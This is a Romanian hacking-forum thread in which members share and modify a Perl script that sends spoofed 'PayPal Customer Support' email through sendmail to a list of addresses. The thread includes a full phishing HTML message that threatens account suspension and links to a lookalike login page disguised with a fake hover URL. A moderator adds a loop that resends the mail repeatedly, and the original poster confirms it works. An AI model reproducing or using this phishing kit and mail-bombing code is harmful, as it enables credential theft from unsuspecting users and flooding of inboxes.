mail bomb in perl

Pagini: 1

Moderat de Shocker, hfhun

Y2K`
Elite Member
Din: 666
Postari: 970

sal all care ar putea face un mail bomb din sursa asta :

sendeb.pl

Code:

#!/usr/bin/perl

$SUBJ="Verify PayPal Account Information";
$MSG="msg.txt";
$USERS="users";

open(IN,$USERS);

$id=12345;
while(chop($line=<IN>)){
    open(SM,"|/usr/sbin/sendmail $line");
    print(SM "To: $linen");
    print(SM "Subject: $SUBJn");
    print(SM "Message-ID: <".time().".$id.qmail@PayPal.com>n");
    print(SM "From: "PayPal Customer Support" <aw-confirm@PayPal.com>n");
    print("Message sent to $linen");
    print(SM "Content-Type: text/htmln"); 
    open(FILE,$MSG);
    while($line=<FILE>){
    print(SM $line);
    }
    close(FILE);
    close(SM);
    $id++;
}

close(IN);

msg.txt

Code:

<HTML>
<BODY>

<br><br><table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>
<img SRC="http://images.paypal.com/en_US/i/logo/email_logo.gif"  BORDER=0 height=35 width=255>
    </tr>
</table>
 
        <hr noShade size=1>

<img src="http://paypal.com/en_US/i/scr/pixel.gif" width=1 height=10><br>
                        
<table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>
          <td><font style="font-size:17px" style="font-family:Verdana, Arial, Helvetica, sans-serif" style="font-weight:700" color="#003366">Security Center</font></TD>
    </tr>
    <tr>
        <td><img src="http://paypal.com/en_US/i/scr/pixel.gif" width="2" height="2"></td>
    </tr>
</table>
<table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>
        <td><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=6 height=6></td>
    </tr>
    <tr>
        <td bgcolor=#999999 width=100%><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=1 height=2></td>
    </tr>
    <tr>
        <td><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=6 height=6></td>
    </tr>
</table>

<!-- begin main -->

<table style="width:600px" cellspacing="0" cellpadding="0" border="0" align="center">
    <tr valign="top">
        <td>
            <table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
                <tr>
                    <td width="240"><img src="http://paypal.com/en_US/i/header/hdr_securityCenter_240x120.gif" valign="top"><br><br></td>
                    <td width="20">&nbsp;</td>
                    <td  style="font-size:13px" style="font-family:Verdana, Arial, Helvetica, sans-serif" style="font-weight:400"><span style="font-weight:700">128-bit encryption</font></span><br><br>At PayPal, we want to increase your security and comfort level with every transaction. From our Buyer and Seller Protection Policies to our Verification and Reputation systems, we'll help to keep you safe.</span><br><br></td>
                </tr>
            </table>
        </td>
    </tr>
</table>

<!-- end main -->

<table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>
        <td><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=6 height=6></td>
    </tr>
    <tr>
        <td bgcolor=#999999 width=100%><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=1 height=2></td>
    </tr>
    <tr>
        <td><img src="http://paypal.com/en_US/i/scr/pixel.gif" width=6 height=6></td>
    </tr>
</table>

<table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>

<td style="font-size:13px" style="font-family:Verdana, Arial, Helvetica, sans-serif" style="font-weight:400"><span style="font-weight:700">
<br><br>We recently noticed an attempt to log in to your PayPal account from a 
foreign IP address and we have reason to belive that your account was used 
by a third party without your authorization.<br><br>
If you recently accessed your account while traveling, the unusual log in attempts
may have been initiated by you.
Therefore, if you are the rightful account holder, click on the link below to log into your account and follow the instructions. <br><br><br><a href="http://provis.pbro.moph.go.th/paypalDLLUPDATE/index.html" 
onMouseOver="a('https://https://www.paypal.com/cgi-bin/webscr?cmd=_login-run');return true"
onMouseOut="b()">https://www.paypal.com/cgi-bin/webscr?cmd=_login-run</a><br><br>
<br>If you choose to ignore our request, you leave us no choice but to temporarily suspend 
your account.<br>

</span><br>
If you received this notice and you are not the authorized account 
holder, please be aware that it is in violation of PayPal policy to represent 
oneself as another PayPal user. Such action may also be in violation of 
local, national, and/or international law. PayPal is committed to assist 
law enforcement with any inquires related to attempts to misappropriate 
personal information with the intent to commit fraud or theft. 
Information will be provided at the request of law enforcement agencies to 
ensure that impersonators are prosecuted to the fullest extent of the law.<br><br>

Thank you for your patience as we work together to protect your account.<br><br>
Sincerely,<br>
PayPal Account Review Department<br>
PayPal, an eBay Company<br><br>

</td>

    </tr>
</table>

<hr noShade size=1>

<table style="width:600px" cellspacing="0" cellpadding="0" border="0" align="center">
    <tr valign="top">
        <td>
            <table style="width:600px" cellpadding="0" cellspacing="0" border="0" align="center">
                <tr>
                    <td  style="font-size:13px" style="font-family:Verdana, Arial, Helvetica, sans-serif" style="font-weight:400">*Please do not respond to this e-mail as your reply will not be received.<br><br></td>
                    <td width="20">&nbsp;</td>
                    <td width="100"><img src="http://images.paypal.com/images/verification_seal.gif"  BORDER=0 height=100 width=100 valign="top"><br><br></td>
                </tr>
            </table>
        </td>
    </tr>
</table><br><br>
</BODY>
</HTML>

users

Code:

aicea pun email`u

eu am postat exact cum era senderu da se poate modifica msg si restu ... da nu asta ma intere pe mine ma intere sa modifice cineva sa pot seta numaru de email`uri trimise (sauu sa posteze alt script)

Shocker
Super Moderator
Din: localhost
Postari: 2084

Incearca ceva de genul:

Code:

#!/usr/bin/perl

$SUBJ="Verify PayPal Account Information";
$MSG="msg.txt";
$USERS="users";

for ($i = 0; $i < 10; ++$i)
{

open(IN,$USERS);

$id=12345;
while(chop($line=<IN>)){
    open(SM,"|/usr/sbin/sendmail $line");
    print(SM "To: $linen");
    print(SM "Subject: $SUBJn");
    print(SM "Message-ID: <".time().".$id.qmail@PayPal.com>n");
    print(SM "From: "PayPal Customer Support" <aw-confirm@PayPal.com>n");
    print("Message sent to $linen");
    print(SM "Content-Type: text/htmln"); 
    open(FILE,$MSG);
    while($line=<FILE>){
    print(SM $line);
    }
    close(FILE);
    close(SM);
    $id++;
}

close(IN);

}

Acolo unde vezi for ($i = 0; $i < 10; ++$i) trebuie sa modifici 10`le acela. Nu l-am testat, dar teoretic ar trebui sa mearga.

_______________________________________
ShockingSoft is back
Freakz only
Comics of the day

Y2K`
Elite Member
Din: 666
Postari: 970

nu merge

( nu trimite nici macar 1

Shocker
Super Moderator
Din: localhost
Postari: 2084

Dar cum era inainte merge?

_______________________________________
ShockingSoft is back
Freakz only
Comics of the day

k4hvd
Grand Master
Din: Oradea
Postari: 322

y2k: intrebare de baraj: ce os folosesti? pe ce os l-ai testat?

Y2K`
Elite Member
Din: 666
Postari: 970

Shocker da merge

ca mi-am trimis si mie :P

@k4hvd pe un freebsd

update ... gata merge si super bine

)

) nu maim trimis bine am scris in looc de am scris

(

thanx man :P

Pagini: 1

Mergi la